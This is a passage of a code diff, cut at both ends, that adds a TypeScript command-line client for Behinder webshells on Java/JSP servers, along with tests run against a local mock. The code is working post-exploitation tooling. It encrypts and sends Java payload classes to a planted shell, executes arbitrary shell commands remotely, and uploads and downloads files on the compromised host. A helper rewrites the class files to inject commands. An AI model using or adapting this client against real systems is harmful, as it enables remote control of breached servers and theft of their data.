expect(result.error).toContain("boom"); + }); + + it("fails with a wrong password", async () => { + const result = await execBehinder(`${base}/behinder`, "wrongpass", "id", { + headerValue: GATE, + }); + expect(result.ok).toBe(false); + }); +}); + + +describe("downloadBehinder", () => { + let server: Server; + let base: string; + const state: BhMockState = newBhMockState(); + + beforeAll(async () => { + server = await startMock(state); + base = `http://127.0.0.1:${(server.address() as AddressInfo).port}`; + }); + + afterAll(() => new Promise((resolve) => server.close(resolve))); + + const BINARY = (() => { + const b = Buffer.alloc(256); + for (let i = 0; i < 256; i++) b[i] = i; + b[0] = 0x1f; + b[1] = 0x8b; // gzip magic — must survive the envelope + return b; + })(); + + it("downloads a small binary file byte-for-byte (double base64 unwrap)", async () => { + state.files.set("/tmp/a.bin", BINARY); + const result = await downloadBehinder(`${base}/behinder`, "rebeyond", "/tmp/a.bin", { + headerValue: GATE, + }); + expect(result.ok).toBe(true); + expect(result.bytes).toBe(BINARY.length); + expect(result.data?.equals(BINARY)).toBe(true); + }); + + it("downloads in small chunks (absolute block offsets)", async () => { + const big = Buffer.alloc(1000); + for (let i = 0; i < big.length; i++) big[i] = (i * 29 + 11) % 256; + state.files.set("/tmp/chunked.bin", big); + const result = await downloadBehinder(`${base}/behinder`, "rebeyond", "/tmp/chunked.bin", { + headerValue: GATE, + downloadChunkSize: 7, + }); + expect(result.ok).toBe(true); + expect(result.data?.equals(big)).toBe(true); + }); + + it("downloads an empty file and skips the hash check", async () => { + state.files.set("/tmp/empty.bin", Buffer.alloc(0)); + const result = await downloadBehinder(`${base}/behinder`, "rebeyond", "/tmp/empty.bin", { + headerValue: GATE, + }); + expect(result.ok).toBe(true); + expect(result.bytes).toBe(0); + expect(result.detail).toMatch(/hash check skipped/); + }); + + it("fails for a missing remote file", async () => { + state.files.delete("/tmp/nope.bin"); + const result = await downloadBehinder(`${base}/behinder`, "rebeyond", "/tmp/nope.bin", { + headerValue: GATE, + }); + expect(result.ok).toBe(false); + expect(result.error).toMatch(/not found/); + }); + + it("retries failed chunks and succeeds", async () => { + state.files.set("/tmp/flaky.bin", BINARY); + state.failNextReads = 2; // budget is 3 attempts per chunk + const result = await downloadBehinder(`${base}/behinder`, "rebeyond", "/tmp/flaky.bin", { + headerValue: GATE, + }); + expect(result.ok).toBe(true); + expect(result.data?.equals(BINARY)).toBe(true); + }); + + it("gives up after the retry budget", async () => { + state.files.set("/tmp/dead.bin", BINARY); + state.failNextReads = 99; + const result = await downloadBehinder(`${base}/behinder`, "rebeyond", "/tmp/dead.bin", { + headerValue: GATE, + }); + expect(result.ok).toBe(false); + expect(result.error).toMatch(/chunk 0 .* failed/); + state.failNextReads = 0; + }); + + it("detects a hash mismatch (file changed mid-transfer)", async () => { + state.files.set("/tmp/mut.bin", Buffer.from("original content")); + state.corruptCheck = true; + const result = await downloadBehinder(`${base}/behinder`, "rebeyond", "/tmp/mut.bin", { + headerValue: GATE, + }); + expect(result.ok).toBe(false); + expect(result.error).toMatch(/hash mismatch/); + }); + + it("handles a non-ASCII remote path", async () => { + const name = "/tmp/测试文件-日志.bin"; + state.files.set(name, BINARY); + const result = await downloadBehinder(`${base}/behinder`, "rebeyond", name, { + headerValue: GATE, + }); + expect(result.ok).toBe(true); + expect(result.data?.equals(BINARY)).toBe(true); + }); + + it("skips the expensive MD5 check over the limit and verifies the size", async () => { + const big = Buffer.alloc(1000, 0x5a); + state.files.set("/tmp/large.bin", big); + state.checkCalls = 0; + const result = await downloadBehinder(`${base}/behinder`, "rebeyond", "/tmp/large.bin", { + headerValue: GATE, + downloadChunkSize: 100, + hashCheckLimit: 10, + }); + expect(result.ok).toBe(true); + expect(result.data?.equals(big)).toBe(true); + expect(result.detail).toMatch(/MD5 check skipped, size verified/); + expect(state.checkCalls).toBe(0); + }); + + it("fails when the post-transfer size check mismatches", async () => { + state.files.set("/tmp/shift.bin", Buffer.alloc(64, 0x61)); + state.checkCalls = 0; + state.fakeSize = 999; // the upload flow only calls checkExist when verifying + const result = await uploadBehinder( + `${base}/behinder`, + "rebeyond", + "/tmp/shift.bin", + Buffer.alloc(64, 0x61), + { headerValue: GATE, hashCheckLimit: 10 }, + ); + expect(result.ok).toBe(false); + expect(result.error).toMatch(/size verification failed/); + expect(state.checkCalls).toBe(0); + state.fakeSize = undefined; + }); + + it("fails with a wrong password", async () => { + const result = await downloadBehinder(`${base}/behinder`, "wrongpass", "/tmp/a.bin", { + headerValue: GATE, + }); + expect(result.ok).toBe(false); + }); + + it("fails without the gate header", async () => { + const result = await downloadBehinder(`${base}/behinder`, "rebeyond", "/tmp/a.bin"); + expect(result.ok).toBe(false); + }); +}); + +describe("uploadBehinder", () => { + let server: Server; + let base: string; + const state: BhMockState = newBhMockState(); + + beforeAll(async () => { + server = await startMock(state); + base = `http://127.0.0.1:${(server.address() as AddressInfo).port}`; + }); + + afterAll(() => new Promise((resolve) => server.close(resolve))); + + it("uploads a small file in one create chunk and verifies the MD5", async () => { + const data = Buffer.from("behinder upload \u0000\u00ff binary", "latin1"); + const result = await uploadBehinder(`${base}/behinder`, "rebeyond", "/tmp/up.bin", data, { + headerValue: GATE, + }); + expect(result.ok).toBe(true); + expect(result.bytes).toBe(data.length); + expect(state.files.get("/tmp/up.bin")?.equals(data)).toBe(true); + }); + + it("uploads a multi-chunk file (create then append)", async () => { + // 100_000 bytes > 46 080 upload chunk -> 3 chunks + const data = Buffer.alloc(100_000); + for (let i = 0; i < data.length; i++) data[i] = (i * 7 + 1) % 256; + const result = await uploadBehinder(`${base}/behinder`, "rebeyond", "/tmp/big.bin", data, { + headerValue: GATE, + }); + expect(result.ok).toBe(true); + expect(state.files.get("/tmp/big.bin")?.equals(data)).toBe(true); + }); + + it("truncates an existing longer remote file (first chunk is create)", async () => { + state.files.set("/tmp/trunc.bin", Buffer.alloc(5000, 0x41)); + const data = Buffer.from("short new content"); + const result = await uploadBehinder(`${base}/behinder`, "rebeyond", "/tmp/trunc.bin", data, { + headerValue: GATE, + }); + expect(result.ok).toBe(true); + expect(state.files.get("/tmp/trunc.bin")?.equals(data)).toBe(true); + }); + + it("uploads an empty file", async () => { + state.files.set("/tmp/emptyup.bin", Buffer.from("old")); + const result = await uploadBehinder( + `${base}/behinder`, + "rebeyond", + "/tmp/emptyup.bin", + Buffer.alloc(0), + { headerValue: GATE }, + ); + expect(result.ok).toBe(true); + expect(result.detail).toMatch(/hash check skipped/); + expect(state.files.get("/tmp/emptyup.bin")?.length).toBe(0); + }); + + it("aborts on a failed append and warns about a partial file", async () => { + const data = Buffer.alloc(100_000, 0x61); + state.failNextAppends = 5; // every append fails + const result = await uploadBehinder(`${base}/behinder`, "rebeyond", "/tmp/part.bin", data, { + headerValue: GATE, + }); + expect(result.ok).toBe(false); + expect(result.error).toMatch(/may be incomplete/); + state.failNextAppends = 0; + }); + + it("detects a hash mismatch after upload", async () => { + const data = Buffer.from("hash me"); + state.corruptCheck = true; + const result = await uploadBehinder(`${base}/behinder`, "rebeyond", "/tmp/hm.bin", data, { + headerValue: GATE, + }); + expect(result.ok).toBe(false); + expect(result.error).toMatch(/hash mismatch/); + }); + + it("round-trips: upload then download", async () => { + const data = Buffer.alloc(60_000); + for (let i = 0; i < data.length; i++) data[i] = (i * 3 + 19) % 256; + const up = await uploadBehinder(`${base}/behinder`, "rebeyond", "/tmp/rt.bin", data, { + headerValue: GATE, + }); + expect(up.ok).toBe(true); + const down = await downloadBehinder(`${base}/behinder`, "rebeyond", "/tmp/rt.bin", { + headerValue: GATE, + downloadChunkSize: 12345, + }); + expect(down.ok).toBe(true); + expect(down.data?.equals(data)).toBe(true); + }); + + it("skips the expensive MD5 check over the limit (upload)", async () => { + const data = Buffer.alloc(500, 0x62); + state.checkCalls = 0; + const result = await uploadBehinder(`${base}/behinder`, "rebeyond", "/tmp/bigup.bin", data, { + headerValue: GATE, + hashCheckLimit: 10, + }); + expect(result.ok).toBe(true); + expect(result.detail).toMatch(/MD5 check skipped, size verified/); + expect(state.files.get("/tmp/bigup.bin")?.equals(data)).toBe(true); + expect(state.checkCalls).toBe(0); + }); + + it("uses the MD5 check under the limit", async () => { + const data = Buffer.from("small file gets md5 checked"); + state.checkCalls = 0; + const result = await uploadBehinder(`${base}/behinder`, "rebeyond", "/tmp/smallup.bin", data, { + headerValue: GATE, + hashCheckLimit: 1024 * 1024, + }); + expect(result.ok).toBe(true); + expect(result.detail).toBeUndefined(); + expect(state.checkCalls).toBe(1); + }); + + it("fails with a wrong password", async () => { + const result = await uploadBehinder( + `${base}/behinder`, + "wrongpass", + "/tmp/x.bin", + Buffer.from("x"), + { headerValue: GATE }, + ); + expect(result.ok).toBe(false); + }); +}); diff --git a/tools/cli/src/connect/behinder.ts b/tools/cli/src/connect/behinder.ts new file mode 100644 index 00000000..7b6ad2cf --- /dev/null +++ b/tools/cli/src/connect/behinder.ts @@ -0,0 +1,620 @@ +/** + * Behinder (冰蝎) connection test — Java/JSP protocol. + * + * Mirrors the Behinder client's `doConnect()`: + * 1. inject a random string into the Echo payload class template + * (`Params.getParamedClass` sets the `content` field's ConstantValue) + * 2. POST `base64(AES/ECB/PKCS5(classBytes, md5(pass)[0:16]))` + * 3. the shell defines + runs the class; the Echo payload answers with + * `base64(AES({"status":b64,"msg":b64}))` — some Behinder variants answer + * raw AES bytes and/or append `magicNum` random trailing bytes, so the + * parser tries every combination and validates the JSON envelope + * 4. connected iff status == "success" and msg echoes the random string + */ +import { CMD_CLASS_BYTES, ECHO_CLASS_BYTES, FILE_OPERATION_CLASS_BYTES } from "./assets.js"; +import { injectStringConstant } from "./classfile.js"; +import { aesEcbDecrypt, aesEcbEncrypt, md5Hex, md5Key16, randomString } from "./crypto.js"; +import { extractCookies, postRaw } from "./http.js"; +import { + buildHeaders, + type CommonConnectOptions, + type ConnectTestResult, + type DownloadResult, + type ExecResult, + type TransferResult, +} from "./types.js"; + +export interface BehinderConnectOptions extends CommonConnectOptions { + /** Request body encoding. Default: try base64, then raw AES bytes. */ + requestEncoding?: "base64" | "raw"; +} + +const BASE64_RE = /^[A-Za-z0-9+/=\r\n]+$/; + +interface EchoEnvelope { + status: string; + msg: string; +} + +/** Try to turn a response body into the decrypted echo envelope. */ +function parseEchoResponse(body: Buffer, key: string): EchoEnvelope | null { + const magic = parseInt(key.slice(0, 2), 16) % 16; + const trimmed = trimBytes(body); + + const candidates: Buffer[] = []; + const push = (b: Buffer) => { + if (b.length > 0 && b.length % 16 === 0 && !candidates.some((c) => c.equals(b))) { + candidates.push(b); + } + }; + + if (BASE64_RE.test(trimmed.toString("latin1"))) { + let decoded: Buffer | null = null; + try { + decoded = Buffer.from(trimmed.toString("latin1"), "base64"); + } catch { + decoded = null; + } + if (decoded) { + push(decoded); // v3 / MemShellParty: base64(AES(json)) + if (decoded.length > magic) push(decoded.subarray(0, decoded.length - magic)); + } + } + if (body.length > magic) push(body.subarray(0, body.length - magic)); // raw AES + magic suffix + push(body); // raw AES + + for (const candidate of candidates) { + try { + const plain = aesEcbDecrypt(candidate, key).toString("utf8"); + const obj: unknown = JSON.parse(plain); + if ( + obj !== null && + typeof obj === "object" && + typeof (obj as Record<string, unknown>).status === "string" && + typeof (obj as Record<string, unknown>).msg === "string" + ) { + const rec = obj as { status: string; msg: string }; + return { + status: Buffer.from(rec.status, "base64").toString("utf8"), + msg: Buffer.from(rec.msg, "base64").toString("utf8"), + }; + } + } catch { + // not the right candidate — try the next one + } + } + return null; +} + +function trimBytes(buf: Buffer): Buffer { + let start = 0; + let end = buf.length; + const isWs = (b: number) => b === 0x20 || b === 0x09 || b === 0x0a || b === 0x0d || b === 0x00; + while (start < end && isWs(buf[start]!)) start++; + while (end > start && isWs(buf[end - 1]!)) end--; + return buf.subarray(start, end); +} + +function excerpt(body: Buffer): string { + const text = body + .toString("latin1") + .replace(/[^\x20-\x7e]+/g, " ") + .trim(); + return text.length > 160 ? `${text.slice(0, 160)}...` : text; +} + +export async function testBehinder( + url: string, + pass: string, + options: BehinderConnectOptions = {}, +): Promise<ConnectTestResult> { + const started = Date.now(); + const key = md5Key16(pass); + const content = randomString(48 + Math.floor(Math.random() * 48)); + const classBytes = injectStringConstant(ECHO_CLASS_BYTES, "content", content); + + const encodings: Array<"base64" | "raw"> = + options.requestEncoding === "raw" + ? ["raw"] + : options.requestEncoding === "base64" + ? ["base64"] + : ["base64", "raw"]; + + const failures: string[] = []; + for (const encoding of encodings) { + const encrypted = aesEcbEncrypt(classBytes, key); + const body = encoding === "base64" ? Buffer.from(encrypted.toString("base64")) : encrypted; + let response; + try { + response = await postRaw(url, body, { + headers: buildHeaders({ "Content-Type": "application/octet-stream" }, options), + timeoutMs: options.timeoutMs, + insecure: options.insecure, + }); + } catch (err) { + return { + ok: false, + tool: "behinder", + url, + error: err instanceof Error ? err.message : String(err), + durationMs: Date.now() - started, + }; + } + + const envelope = parseEchoResponse(response.body, key); + if (envelope) { + if (envelope.status === "success" && envelope.msg === content) { + return { + ok: true, + tool: "behinder", + url, + detail: `echo verified (${content.length} random bytes, ${encoding} request, HTTP ${response.status})`, + durationMs: Date.now() - started, + }; + } + failures.push( + `${encoding}: decrypted but unexpected envelope (status=${JSON.stringify(envelope.status)})`, + ); + } else { + failures.push( + `${encoding}: HTTP ${response.status}, response not a valid Behinder envelope` + + (response.body.length > 0 ? ` (starts with: ${excerpt(response.body)})` : " (empty body)"), + ); + } + } + + return { + ok: false, + tool: "behinder", + url, + error: failures.join("; ") + " — wrong password, missing gate header, or not a Behinder shell", + durationMs: Date.now() - started, + }; +} + +/** + * Behinder command execution — uploads the `Cmd` payload class with its + * static `cmd` field filled in (same `Params.getParamedClass` mechanism as + * the Echo payload). The payload picks `cmd.exe /c` or `/bin/sh -c` itself + * based on `os.name`, so no OS detection is needed here. + * The response is the usual Behinder envelope: base64(AES({status, msg})), + * where `msg` is the base64-encoded command output (stdout then stderr). + */ +export async function execBehinder( + url: string, + pass: string, + command: string, + options: BehinderConnectOptions = {}, +): Promise<ExecResult> { + const started = Date.now(); + const key = md5Key16(pass); + const classBytes = injectStringConstant(CMD_CLASS_BYTES, "cmd", command); + + const fail = (error: string): ExecResult => ({ + ok: false, + tool: "behinder", + url, + command, + error, + durationMs: Date.now() - started, + }); + + const encodings: Array<"base64" | "raw"> = + options.requestEncoding === "raw" + ? ["raw"] + : options.requestEncoding === "base64" + ? ["base64"] + : ["base64", "raw"]; + + const failures: string[] = []; + for (const encoding of encodings) { + const encrypted = aesEcbEncrypt(classBytes, key); + const body = encoding === "base64" ? Buffer.from(encrypted.toString("base64")) : encrypted; + let response; + try { + response = await postRaw(url, body, { + headers: buildHeaders({ "Content-Type": "application/octet-stream" }, options), + timeoutMs: options.timeoutMs, + insecure: options.insecure, + }); + } catch (err) { + return fail(err instanceof Error ? err.message : String(err)); + } + + const envelope = parseEchoResponse(response.body, key); + if (envelope) { + if (envelope.status === "success") { + return { + ok: true, + tool: "behinder", + url, + command, + output: envelope.msg, + durationMs: Date.now() - started, + }; + } + // the payload executed but reported failure — its msg says why + return fail(`remote status "fail": ${envelope.msg}`); + } + failures.push( + `${encoding}: HTTP ${response.status}, response not a valid Behinder envelope` + + (response.body.length > 0 ? ` (starts with: ${excerpt(response.body)})` : " (empty body)"), + ); + } + + return fail( + failures.join("; ") + " — wrong password, missing gate header, or not a Behinder shell", + ); +} + +/* ------------------------------------------------------------------------ * + * File transfer (FileOperation payload) + * + * Behinder v4.1's FileOperation class is uploaded like the Cmd payload, with + * static String fields filled client-side (mode/path/content/blockIndex/ + * blockSize). Protocol choices, matching the official client: + * + * - upload: mode=create for the first chunk (truncate + write), mode=append + * for the rest — sequential and session-independent. The `update` mode the + * GUI uses is NOT safe here: it caches a FileChannel in the http session + * and falls back to a *truncating* FileOutputStream per request without a + * session cookie, corrupting multi-chunk uploads when the shell gives us + * no session. + * - download: mode=downloadPart (absolute blockIndex*blockSize positioning, + * read-only, safe without a session). mode=download is broken in the + * payload (reflection type mismatch) and never used by the GUI either. + * - size probe: mode=checkExist returns the decimal file size. + * - integrity: mode=check returns the remote MD5 hex [0:16] and closes any + * session-cached channels. It NPEs on empty files (null msg in buildJson), + * so empty transfers verify via checkExist instead. + * - downloadPart's msg is base64 TWICE (payload base64s the chunk, buildJson + * base64s every value again) — parseEchoResponse strips one layer. + * ------------------------------------------------------------------------ */ + +/** Raw upload block: base64 -> 61440 chars, under the 65535 constant-pool UTF8 limit. */ +const BH_UPLOAD_CHUNK = 46080; +/** Download block, same as the official client (0x100000). */ +const BH_DOWNLOAD_CHUNK = 1024 * 1024; +/** Whole-file downloads are buffered in memory — refuse absurd sizes. */ +const BH_MAX_DOWNLOAD = 0x7fffffff; // 2 GiB +/** Download chunks are idempotent (read-only, absolute position) — safe to retry. */ +const BH_CHUNK_ATTEMPTS = 3; +/** + * The payload's `check` reads the whole remote file byte-by-byte to MD5 it + * (getFileData) — minutes and gigabytes of heap for big files. Above this + * size verify with a cheap checkExist size comparison instead. + */ +const BH_HASH_CHECK_LIMIT = 128 * 1024 * 1024; + +interface BehinderChannel { + /** Upload the FileOperation class with `fields` filled; resolve the envelope. */ + invoke(fields: Record<string, string>): Promise<EchoEnvelope>; +} + +/** + * A Behinder request channel: reuses the working request encoding (base64 vs + * raw AES) once discovered instead of retrying both per chunk, and relays + * any session cookie the shell hands out (lets the payload cache its file + * channel, and lets `check` close it afterwards). + */ +function openBehinderChannel( + url: string, + key: string, + options: BehinderConnectOptions = {}, +): BehinderChannel { + let pinned: "base64" | "raw" | null = options.requestEncoding ?? null; + let cookie: string | undefined; + + const invoke = async (fields: Record<string, string>): Promise<EchoEnvelope> => { + let classBytes: Buffer = FILE_OPERATION_CLASS_BYTES; + for (const [name, value] of Object.entries(fields)) { + classBytes = injectStringConstant(classBytes, name, value); + } + const encrypted = aesEcbEncrypt(classBytes, key); + const encodings: Array<"base64" | "raw"> = pinned ? [pinned] : ["base64", "raw"]; + + const failures: string[] = []; + for (const encoding of encodings) { + const body = encoding === "base64" ? Buffer.from(encrypted.toString("base64")) : encrypted; + const baseHeaders = buildHeaders({ "Content-Type": "application/octet-stream" }, options); + const response = await postRaw(url, body, { + headers: cookie ? { ...baseHeaders, Cookie: cookie } : baseHeaders, + timeoutMs: options.timeoutMs, + insecure: options.insecure, + }); + const setCookies = extractCookies(response.headers); + if (setCookies.length > 0) cookie = setCookies.join("; "); + + const envelope = parseEchoResponse(response.body, key); + if (envelope) { + pinned = encoding; + return envelope; + } + failures.push( + `${encoding}: HTTP ${response.status}, response not a valid Behinder envelope` + + (response.body.length > 0 ? ` (starts with: ${excerpt(response.body)})` : " (empty body)"), + ); + } + throw new Error( + failures.join("; ") + " — wrong password, missing gate header, or not a Behinder shell", + ); + }; + + return { invoke }; +} + +export interface BehinderTransferOptions extends BehinderConnectOptions { + /** Override the download chunk size (tests use tiny chunks). */ + downloadChunkSize?: number; + /** Override the MD5-vs-size verification threshold (tests use tiny values). */ + hashCheckLimit?: number; +} + +interface RemoteVerification { + error?: string; + detail?: string; +} + +/** + * Post-transfer integrity check. Small files: `check` returns the remote + * MD5 hex [0:16] (and closes any session-cached stream) — compare against + * the local bytes. Above `limit`: the payload's check would read the whole + * remote file byte-by-byte, so fall back to a checkExist size comparison + * and say so in the detail. + */ +async function verifyBehinderRemote( + channel: BehinderChannel, + remotePath: string, + data: Buffer, + limit: number, + mismatchNote: string, +): Promise<RemoteVerification> { + if (data.length > limit) { + try { + const envelope = await channel.invoke({ mode: "checkExist", path: remotePath }); + const text = envelope.status === "success" ? envelope.msg.trim() : ""; + if (!/^\d+$/.test(text) || Number.parseInt(text, 10) !== data.length) { + return { + error: + `size verification failed — local ${data.length} bytes, ` + + `remote said ${JSON.stringify(envelope.msg)}`, + }; + } + return { detail: `over ${limit} bytes — MD5 check skipped, size verified` }; + } catch (err) { + return { + detail: `size verification unavailable (${err instanceof Error ? err.message : String(err)})`, + }; + } + } + + try { + const envelope = await channel.invoke({ mode: "check", path: remotePath }); + if (envelope.status === "success" && /^[0-9a-fA-F]{16}$/.test(envelope.msg.trim())) { + const local = md5Hex(data).slice(0, 16).toLowerCase(); + if (envelope.msg.trim().toLowerCase() !== local) { + return { + error: `hash mismatch — remote md5[0:16]=${envelope.msg.trim()}, local=${local} ${mismatchNote}`, + }; + } + return {}; + } + return { detail: "hash verification unavailable (unexpected check response)" }; + } catch { + return { detail: "hash verification unavailable (check request failed)" }; + } +} + +/** + * Behinder file download — checkExist for the size, downloadPart chunks, + * then `check` for an MD5[0:16] comparison against the received bytes. + */ +export async function downloadBehinder( + url: string, + pass: string, + remotePath: string, + options: BehinderTransferOptions = {}, +): Promise<DownloadResult> { + const started = Date.now(); + const key = md5Key16(pass); + const fail = (error: string): DownloadResult => ({ + ok: false, + tool: "behinder", + url, + direction: "download", + remotePath, + error, + durationMs: Date.now() - started, + }); + + const channel = openBehinderChannel(url, key, options); + + // ---- size probe ---- + let size: number; + try { + const envelope = await channel.invoke({ mode: "checkExist", path: remotePath }); + if (envelope.status !== "success") { + return fail( + `remote path not found (or not readable): ${remotePath}` + + (envelope.msg ? ` — ${envelope.msg}` : ""), + ); + } + const text = envelope.msg.trim(); + if (!/^\d+$/.test(text)) { + return fail(`unexpected checkExist response: ${JSON.stringify(envelope.msg)}`); + } + size = Number.parseInt(text, 10); + } catch (err) { + return fail(err instanceof Error ? err.message : String(err)); + } + if (size > BH_MAX_DOWNLOAD) { + return fail(`remote file is ${size} bytes — refusing to buffer over 2 GiB in memory`); + } + + // ---- chunked read (empty file: no chunks at all) ---- + const chunkSize = options.downloadChunkSize ?? BH_DOWNLOAD_CHUNK; + const parts: Buffer[] = []; + let downloaded = 0; + const blockCount = Math.ceil(size / chunkSize); + for (let index = 0; index < blockCount; index++) { + const want = Math.min(chunkSize, size - downloaded); + let chunk: Buffer | null = null; + let serverSays = ""; + for (let attempt = 1; attempt <= BH_CHUNK_ATTEMPTS && chunk === null; attempt++) { + try { + const envelope = await channel.invoke({ + mode: "downloadPart", + path: remotePath, + blockIndex: String(index), + blockSize: String(chunkSize), + }); + if (envelope.status !== "success") { + // e.g. the file shrank mid-transfer (EOF read -> status fail) + serverSays = envelope.msg || "remote status fail"; + continue; + } + const buf = Buffer.from(envelope.msg, "base64"); + if (buf.length !== want) { + serverSays = `short chunk: got ${buf.length} of ${want} bytes`; + continue; + } + chunk = buf; + } catch (err) { + serverSays = err instanceof Error ? err.message : String(err); + } + } + if (chunk === null) { + return fail(`chunk ${index} at offset ${downloaded}/${size} failed — ${serverSays}`); + } + parts.push(chunk); + downloaded += chunk.length; + } + const data = Buffer.concat(parts); + + // ---- integrity check (MD5, or size above the limit) ---- + // Empty files make the payload's check NPE (null msg) — nothing to hash anyway. + let detail: string | undefined; + if (size === 0) { + detail = "remote file is empty — hash check skipped"; + } else { + const verification = await verifyBehinderRemote( + channel, + remotePath, + data, + options.hashCheckLimit ?? BH_HASH_CHECK_LIMIT, + "(the file changed during transfer?)", + ); + if (verification.error) return fail(verification.error); + detail = verification.detail; + } + + return { + ok: true, + tool: "behinder", + url, + direction: "download", + remotePath, + bytes: data.length, + detail, + data, + durationMs: Date.now() - started, + }; +} + +/** + * Behinder file upload — first chunk mode=create (truncate + write), the rest + * mode=append, then `check` for an MD5[0:16] comparison. Append is not + * idempotent, so a failed chunk aborts immediately (the error says the + * remote file may be partial) instead of risking duplicated content. + */ +export async function uploadBehinder( + url: string, + pass: string, + remotePath: string, + data: Buffer, + options: BehinderTransferOptions = {}, +): Promise<TransferResult> { + const started = Date.now(); + const key = md5Key16(pass); + const fail = (error: string): TransferResult => ({ + ok: false, + tool: "behinder", + url, + direction: "upload", + remotePath, + error, + durationMs: Date.now() - started, + }); + + const channel = openBehinderChannel(url, key, options); + + if (data.length === 0) { + // create truncates; an empty content field produces an empty remote file. + try { + const envelope = await channel.invoke({ mode: "create", path: remotePath, content: "" }); + if (envelope.status !== "success") { + return fail(`server said: ${envelope.msg || "remote status fail"}`); + } + } catch (err) { + return fail(err instanceof Error ? err.message : String(err)); + } + return { + ok: true, + tool: "behinder", + url, + direction: "upload", + remotePath, + bytes: 0, + detail: "empty file — hash check skipped", + durationMs: Date.now() - started, + }; + } + + let offset = 0; + let index = 0; + while (offset < data.length) { + const chunk = data.subarray(offset, Math.min(offset + BH_UPLOAD_CHUNK, data.length)); + const mode = index === 0 ? "create" : "append"; + try { + const envelope = await channel.invoke({ + mode, + path: remotePath, + content: chunk.toString("base64"), + }); + if (envelope.status !== "success") { + return fail( + `chunk ${index} failed at offset ${offset}/${data.length} — server said: ` + + `${envelope.msg || "remote status fail"} — the remote file may be incomplete`, + ); + } + } catch (err) { + return fail( + `chunk ${index} failed at offset ${offset}/${data.length}: ` + + `${err instanceof Error ? err.message : String(err)} — the remote file may be incomplete`, + ); + } + offset += chunk.length; + index++; + } + + // ---- integrity check (MD5, or size above the limit) ---- + const verification = await verifyBehinderRemote( + channel, + remotePath, + data, + options.hashCheckLimit ?? BH_HASH_CHECK_LIMIT, + "(the upload was corrupted)", + ); + if (verification.error) return fail(verification.error); + + return { + ok: true, + tool: "behinder", + url, + direction: "upload", + remotePath, + bytes: data.length, + detail: verification.detail, + durationMs: Date.now() - started, + }; +} diff --git a/tools/cli/src/connect/classfile.test.ts b/tools/cli/src/connect/classfile.test.ts new file mode 100644 index 00000000..0d03e35c --- /dev/null +++ b/tools/cli/src/connect/classfile.test.ts @@ -0,0 +1,49 @@ +import { describe, expect, it } from "vitest"; + +import { ECHO_CLASS_BYTES } from "./assets.js"; +import { injectStringConstant, readStringConstant } from "./classfile.js"; + +describe("injectStringConstant", () => { + it("adds a ConstantValue to a field that has none", () => { + expect(readStringConstant(ECHO_CLASS_BYTES, "content")).toBeNull(); + + const value = `test-${"x".repeat(60)}-content`; + const patched = injectStringConstant(ECHO_CLASS_BYTES, "content", value); + + expect(readStringConstant(patched, "content")).toBe(value); + // magic / minor / major untouched (pool count at offset 8 grows by design) + expect(patched.readUInt32BE(0)).toBe(0xcafebabe); + expect(patched.subarray(4, 8)).toEqual(ECHO_CLASS_BYTES.subarray(4, 8)); + }); + + it("handles unicode values and repeated injection", () => { + const patched1 = injectStringConstant(ECHO_CLASS_BYTES, "content", "第一次"); + expect(readStringConstant(patched1, "content")).toBe("第一次"); + const patched2 = injectStringConstant(patched1, "content", "second"); + expect(readStringConstant(patched2, "content")).toBe("second"); + }); + + it("encodes supplementary characters as modified UTF-8 (surrogate 3-byte pairs)", () => { + // plain 4-byte UTF-8 in a CONSTANT_Utf8 entry makes the JVM reject the + // class — emoji must be stored as two 3-byte surrogate sequences + const value = "日志-😀-文件"; + const patched = injectStringConstant(ECHO_CLASS_BYTES, "content", value); + expect(readStringConstant(patched, "content")).toBe(value); + // 😀 = U+1F600 -> ED A0 BD ED B8 80 in modified UTF-8 + expect(patched.includes(Buffer.from([0xed, 0xa0, 0xbd, 0xed, 0xb8, 0x80]))).toBe(true); + // ...and must NOT contain the plain 4-byte form F0 9F 98 80 + expect(patched.includes(Buffer.from([0xf0, 0x9f, 0x98, 0x80]))).toBe(false); + }); + + it("does not touch other fields", () => { + const patched = injectStringConstant(ECHO_CLASS_BYTES, "content", "abc123"); + expect(readStringConstant(patched, "payloadBody")).toBeNull(); + }); + + it("rejects non-class input and unknown fields", () => { + expect(() => injectStringConstant(Buffer.from("nope"), "content", "x")).toThrow( + "not a Java class file", + ); + expect(() => injectStringConstant(ECHO_CLASS_BYTES, "noSuchField", "x")).toThrow("not found"); + }); +}); diff --git a/tools/cli/src/connect/classfile.ts b/tools/cli/src/connect/classfile.ts new file mode 100644 index 00000000..4545aae8 --- /dev/null +++ b/tools/cli/src/connect/classfile.ts @@ -0,0 +1,289 @@ +/** + * Minimal Java class-file rewriter. + * + * Behinder sends "payload template" classes whose static String fields are + * filled client-side before upload (its `Params.getParamedClass` uses ASM to + * set a `ConstantValue` on the field). We only need that one feature: set a + * static String field's ConstantValue, leaving everything else byte-identical. + */ + +const CONSTANT_VALUE = "ConstantValue"; + +class Cursor { + constructor(readonly buf: Buffer) {} + u1(off: number): number { + return this.buf.readUInt8(off); + } + u2(off: number): number { + return this.buf.readUInt16BE(off); + } +} + +interface PoolInfo { + count: number; + /** offset just past the last pool entry */ + end: number; + utf8: Map<number, string>; + constantValueNameIndex: number; // 0 = absent +} + +function readPool(cur: Cursor): PoolInfo { + const buf = cur.buf; + const count = cur.u2(8); + const utf8 = new Map<number, string>(); + let constantValueNameIndex = 0; + let off = 10; + for (let i = 1; i < count; i++) { + const tag = cur.u1(off); + switch (tag) { + case 1: { + const len = cur.u2(off + 1); + const value = decodeModifiedUtf8(buf, off + 3, off + 3 + len); + utf8.set(i, value); + if (value === CONSTANT_VALUE) constantValueNameIndex = i; + off += 3 + len; + break; + } + case 3: // Integer + case 4: // Float + case 9: // Fieldref + case 10: // Methodref + case 11: // InterfaceMethodref + case 12: // NameAndType + case 17: // Dynamic + case 18: // InvokeDynamic + off += 5; + break; + case 5: // Long — two slots + case 6: // Double — two slots + off += 9; + i++; + break; + case 7: // Class + case 8: // String + case 16: // MethodType + case 19: // Module + case 20: // Package + off += 3; + break; + case 15: // MethodHandle + off += 4; + break; + default: + throw new Error(`unsupported constant pool tag ${tag} at index ${i}`); + } + } + return { count, end: off, utf8, constantValueNameIndex }; +} + +/** + * Decode a CONSTANT_Utf8 payload (modified UTF-8): 1/2/3-byte forms, + * surrogate code units reassemble into supplementary characters, C0 80 is + * U+0000. Anything else decodes to U+FFFD without aborting the walk. + */ +function decodeModifiedUtf8(buf: Buffer, start: number, end: number): string { + let out = ""; + let i = start; + while (i < end) { + const b = buf[i]!; + if (b < 0x80) { + out += String.fromCharCode(b); + i += 1; + } else if ((b & 0xe0) === 0xc0 && i + 1 < end) 